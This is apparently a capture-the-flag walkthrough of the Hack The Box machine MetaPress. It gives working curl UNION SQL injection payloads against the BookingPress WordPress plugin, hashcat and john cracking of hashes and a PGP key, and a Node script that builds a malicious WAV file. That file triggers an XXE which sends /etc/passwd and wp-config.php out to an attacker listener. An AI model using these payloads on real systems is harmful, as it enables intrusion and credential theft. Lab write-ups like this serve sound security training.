## PORT 80

|
|
Visting the webserver, it redirects to `metapress.htb`
|

From wappalyzer, it seems that it's using wordpress version 5.6.2
|
|
|
|
<img src="https://i.imgur.com/Fhnf0Q2.png"/>
|
|
|
|
So running `wpscan` against the url
|
|
|
|
```bash
|
|
wpscan --url http://metapress.htb/
|
|
```
|
|
|
|
<img src="https://i.imgur.com/3JszivN.png"/>
|
|
|
|
<img src="https://i.imgur.com/CZPSyoY.png"/>
|
|
|
|
It only returned the version which we already knew but didn't found any plugins, searching for CVEs related to wordpress, it shows sql injection via WP_QUERY in wordpress version till 5.8.2 which means this version might be vulnerable as well but it didn't worked
|
|
|
|
<img src="https://i.imgur.com/ZUlqEkg.png"/>
|
|
|
|
There was another CVE specifically for this version but it was an authenticated XXE so probably we'll need to login
|
|
|
|
<img src="https://i.imgur.com/SLeDDHo.png"/>
|
|
Enumerating site by going to `/events` and viewing the source, will show a plugin named `booking press` being used, not sure why wpscan didn't find it
|
|
|
|
<img src="https://i.imgur.com/eGjMgAv.png"/>
|
|
|
|
<img src="https://i.imgur.com/Xm3iata.png"/>
|
|
|
|
And this plugin has an un aunthenticated sql injection exploit
|
|
|
|
<img src="https://i.imgur.com/fwVuE7B.png"/>
|
|
We just only need the nonce which we can get the from view source
|
|
|
|
<img src="https://i.imgur.com/9OFJTOY.png"/>
|
|
|
|
```bash
|
|
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
|
|
--data 'action=bookingpress_front_get_category_services&_wpnonce=ef5a981727&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
|
|
```
|
|
|
|
<img src="https://i.imgur.com/jW0BhaP.png"/>
|
|
|
|
We can manully dump the data by first enumerating the table names
|
|
|
|
```bash
|
|
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
|
|
--data 'action=bookingpress_front_get_category_services&_wpnonce=0fa9f4afbd&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name),@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.tables where table_schema=database()-- -'
|
|
```
|
|
|
|
<img src="https://i.imgur.com/telx3ew.png"/>
|
|
|
|
## Foothold
|
|
|
|
Now we need to get the column names for `wp_users` because that's the table where wordpress saves user credentials but when I tried dumping the column names for some reason it wasn't working
|
|
|
|
```bash
|
|
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
|
|
--data 'action=bookingpress_front_get_category_services&_wpnonce=0fa9f4afbd&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name),@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.columns where table_name=wp_users-- -'
|
|
```
|
|
|
|
<img src="https://i.imgur.com/5ajDMyP.png"/>
|
|
|
|
But we don't have to worry about getting column names as it's wordpress so we can google for columns for wp_users table
|
|
|
|
<img src="https://i.imgur.com/jzFE2NZ.png"/>
|
|
|
|
```bash
|
|
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
|
|
--data 'action=bookingpress_front_get_category_services&_wpnonce=0fa9f4afbd&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login,user_pass),@@version_comment,@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
|
|
```
|
|
|
|

|
|
|
|
Cracking the hashes with `hashcat`, we'll get manager's hash cracked with the password `partylikearockstar`
|
|
|
|
```bash
|
|
hashcat -a 0 -m 400 ./hash.txt /usr/share/wordlists/rockyou.txt --force
|
|
```
|
|
|
|

|
|
|
|
With these credentials we can login into the dashboard of wordpress but there's nothing much we could do with this user
|
|
|
|
<img src="https://i.imgur.com/JnJbrMJ.png"/>
|
|
|
|
Looking back at the authenticated XXE, we can try that
|
|
|
|
<img src="https://i.imgur.com/hIZ80M3.png"/>
|
|
|
|
We need to generate a malicious wav file which will perform an out of band or blind XXE attack by fetching the dtd from our server which is going to read the `/etc/passwd` file and present the output to us
|
|
|
|
```bash
|
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.13:2222/?p=%file;'>" >
|
|
|
|
```
|
|
|
|
```js
|
|
const fs = require('fs');
|
|
const wavefile = require('wavefile');
|
|
|
|
let wav = new wavefile.WaveFile();
|
|
wav.fromScratch(1, 44100, '32', [0, -2147483, 2147483, 4]);
|
|
wav.setiXML('<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM \'http://10.10.14.13:2222/uwu.dtd\'>%remote;%init;%trick;]>');
|
|
fs.writeFileSync('malicious.wav', wav.toBuffer());
|
|
|
|
```
|
|
|
|
Before running the script, make sure install `wavefile` npm package with `npm -i wavefile`
|
|
|
|
<img src="https://i.imgur.com/1t6wSAR.png"/>
|
|
|
|
Simply upload the `malicious.wav` file through `Media Library` option and check the listener
|
|
|
|
<img src="https://i.imgur.com/ivpYnAH.png"/>
|
|
Decoding the base64 file contents we'll get /etc/password from the target machine
|
|
|
|
<img src="https://i.imgur.com/LH3qZIx.png"/>
|
|
|
|
Now reading `wp-config.php` which should one directory back
|
|
|
|
```bash
|
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">
|
|
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.13:2222/?p=%file;'>" >
|
|
```
|
|
|
|
<img src="https://i.imgur.com/61OheCg.png"/>
|
|
|
|
With these credentials we can login to ftp
|
|
|
|
<img src="https://i.imgur.com/T62Nwkr.png"/>
|
|
|
|
By going into `mailer` directoy, there's `send_mail.php` from where we can find jnelson's password and login through ssh
|
|
|
|
<img src="https://i.imgur.com/wpY1nxO.png"/>
|
|
|
|
Running `sudo -l` we see that this user isn't in sudeors group
|
|
|
|
<img src="https://i.imgur.com/HMLuU5m.png"/>
|
|
|
|
## Privilege Escalation
|
|
|
|
Checking the files which are owned by jnelson group, we see few files related to `passpie` which is a command line manager
|
|
|
|
<img src="https://i.imgur.com/QihBmY9.png"/>
|
|
|
|
Here we'll see the pgp message that is encrypted
|
|
|
|
<img src="https://i.imgur.com/oFI5OYF.png"/>
|
|
|
|
|
|
We'll also find the pgp private key from `/home/.passpie/keys`
|
|
|
|
<img src="https://i.imgur.com/XEhEINp.png"/>
|
|
|
|
To crack the pgp message we need to know the password of the private key so that we can import it and do that we can use `gpg2john`
|
|
|
|
```bash
|
|
/usr/sbin/gpg2john ./private.key > private_hash
|
|
```
|
|
|
|
<img src="https://i.imgur.com/l9ZGghT.png"/>
|
|
|
|
```bash
|
|
john --wordlist=/usr/share/wordlists/rockyou.txt private_hash
|
|
```
|
|
|
|
<img src="https://i.imgur.com/I0BVDAX.png"/>
|
|
|
|
With the password `blink182` we can import the private key
|
|
|
|
<img src="https://i.imgur.com/Izu3GdE.png"/>
|
|
|
|
<img src="https://i.imgur.com/NQPscIP.png"/>
|
|
|
|
Which might be the password for root user, so switching to root user
|
|
|
|
<img src="https://i.imgur.com/GLzP0yD.png"/>
|
|
|
|
We can export passwords from passpie as well with `export` option by specifying the private key password and the path where we want to save the file
|
|
